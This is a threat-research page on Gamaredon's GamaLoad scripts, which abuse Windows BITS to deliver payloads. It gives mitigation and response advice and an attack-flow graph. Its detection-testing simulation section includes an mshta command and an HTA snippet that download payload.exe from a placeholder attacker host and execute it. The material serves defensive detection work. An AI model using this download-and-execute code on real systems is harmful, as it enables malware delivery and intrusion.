SOC Prime Bias: Critical

15 Jan 2026 18:39

Gamaredon: Abusing BITS for “Windows Update”-Style Malware Delivery

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Gamaredon: Abusing BITS for “Windows Update”-Style Malware Delivery
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

Gamaredon has refreshed its GamaLoad delivery scripts to fetch payloads through the Windows Background Intelligent Transfer Service (BITS) utility, reducing reliance on previously filtered LOLBins such as mshta.exe. By pivoting to BITS-based transfers, the actors can blend downloads into “normal” Windows update-style activity and improve reliability in locked-down or proxy-restricted environments where traditional scripted downloaders are more likely to be blocked or flagged.

Investigation

The write-up explains that the updated GamaLoad logic introduces a second fallback path that invokes bitsadmin when earlier download methods fail. The overall flow remains consistent: a phishing-delivered RAR attachment unpacks and places an HTA file in the Startup folder to establish persistence and kick off execution. The key change is in payload retrieval—BITS is now used to pull follow-on content, helping the chain bypass controls tuned for mshta/XMLHTTP-style download behavior.

Mitigation

Harden endpoints with application control policies that restrict or condition bitsadmin execution and limit who can create BITS jobs. Monitor for suspicious BITS job creation and unusual job naming, owners, or destinations. Enforce strict egress controls and URL filtering to prevent connections to untrusted or newly observed infrastructure. Keep existing controls that block mshta.exe and XMLHTTP-based download patterns, but extend coverage to include BITS abuse and related transfer telemetry.

Response

Alert on unexpected bitsadmin command lines—particularly those launched from user contexts, email-driven execution chains, or non-system parent processes. Correlate BITS activity with phishing indicators (RAR/HTA delivery, Startup-folder writes) and rapidly isolate affected hosts. Preserve endpoint and network telemetry to identify downloaded payloads, remove persistence artifacts, and scope for additional systems showing similar BITS job patterns.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ddffdd %% Node definitions init_phishing["<b>Action</b> – <b>T1566.001 Phishing Attachment</b>: Malicious RAR with embedded HTA sent via email."] class init_phishing action exec_copy_paste["<b>Action</b> – <b>T1204.004 Malicious Copy and Paste</b>: Victim copies and pastes malicious content from the archive."] class exec_copy_paste action exec_malicious_file["<b>Action</b> – <b>T1204.002 Malicious File</b>: Victim extracts and opens the archive, exposing the HTA file."] class exec_malicious_file action tool_mshta["<b>Tool</b> – <b>Name</b>: mshta.exe<br/><b>Purpose</b>: Executes HTA files using the Windows HTML Application host."] class tool_mshta tool exec_mshta["<b>Action</b> – <b>T1218.005 Mshta Execution</b>: HTA is launched via mshta.exe."] class exec_mshta action obfuscate_payload["<b>Action</b> – <b>T1027.016 Obfuscated Payload</b>: Junk code loops hide malicious logic."] class obfuscate_payload action persistence_startup["<b>Action</b> – <b>T1037 Startup Folder</b>: HTA is copied to the user's Startup folder for persistence."] class persistence_startup action tool_bitsadmin["<b>Tool</b> – <b>Name</b>: bitsadmin<br/><b>Purpose</b>: Uses BITS to download additional payloads."] class tool_bitsadmin tool fallback_bits["<b>Action</b> – <b>T1197 BITS Transfer</b>: If primary execution fails, bitsadmin downloads a fallback payload."] class fallback_bits action %% Connections init_phishing –>|leads_to| exec_copy_paste exec_copy_paste –>|leads_to| exec_malicious_file exec_malicious_file –>|uses| tool_mshta tool_mshta –>|executes| exec_mshta exec_mshta –>|leads_to| obfuscate_payload obfuscate_payload –>|enables| persistence_startup persistence_startup –>|fallback_to| tool_bitsadmin tool_bitsadmin –>|downloads| fallback_bits class init_phishing,exec_copy_paste,exec_malicious_file,exec_mshta,obfuscate_payload,persistence_startup,fallback_bits action class tool_mshta,tool_bitsadmin tool "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    1. Recon & Preparation:

      • The attacker hosts a malicious HTA file (evil.hta) on a compromised web server (http://malicious.example/evil.hta).
      • The HTA contains JavaScript that calls bitsadmin.exe to download a second-stage payload (payload.exe) from the same server and then execute it.
    2. Initial Execution via mshta.exe:

      • The attacker delivers a short PowerShell one‑liner (e.g., via phishing) that runs:

        mshta.exe "http://malicious.example/evil.hta"
      • This creates a process creation event for mshta.exe.

    3. Background Download with bitsadmin.exe (inside the HTA):

      // Inside evil.hta
      var bits = new ActiveXObject("Microsoft.BackgroundIntelligentTransfer.Control");
      bits.CreateJob("maliciousJob");
      bits.AddFile("http://malicious.example/payload.exe", "%TEMP%\payload.exe");
      bits.Start();
      bits.WaitUntilComplete();
      var shell = new ActiveXObject("WScript.Shell");
      shell.Run("%TEMP%\payload.exe");
      • This launches bitsadmin.exe (or the BITS COM object which resolves to the same binary), generating a process creation event for bitsadmin.exe.
    4. Second‑stage Execution: The downloaded payload.exe runs, completing the intrusion.

  • Regression Test Script: The script below reproduces the above steps in a controlled lab environment using a local HTA file.

    # -------------------------------------------------
    # Simulated Gamaredon payload delivery – regression script
    # -------------------------------------------------
    $tempDir = "$env:TEMPgamaredon_test"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    
    # 1. Create a benign HTA that mimics the malicious one (downloads a harmless file)
    $htaContent = @"
    <html>
    <head><title>Test HTA</title></head>
    <script >
        var bits = new ActiveXObject("Microsoft.BackgroundIntelligentTransfer.Control");
        bits.CreateJob("testJob");
        bits.AddFile("https://example.com/", "%TEMP%\test_download.txt");
        bits.Start();
        bits.WaitUntilComplete();
        var shell = new ActiveXObject("WScript.Shell");
        // No execution of payload – just a placeholder
    </script>
    </html>
    "@
    $htaPath = Join-Path $tempDir "test.hta"
    Set-Content -Path $htaPath -Value $htaContent -Encoding ASCII
    
    # 2. Trigger mshta.exe with the HTA (this will spawn mshta.exe)
    Write-Host "[+] Launching mshta.exe with test HTA..."
    Start-Process -FilePath "mshta.exe" -ArgumentList "`"$htaPath`"" -NoNewWindow
    
    # 3. Wait a short period for bitsadmin to launch
    Start-Sleep -Seconds 5
    
    # 4. Cleanup
    Write-Host "[+] Cleanup..."
    Remove-Item -Recurse -Force $tempDir
  • Cleanup Commands:

    # Stop any lingering bitsadmin jobs
    bitsadmin /reset /allusers
    
    # Remove any test files that may have been created
    Remove-Item -Path "$env:TEMPtest_download.txt" -ErrorAction SilentlyContinue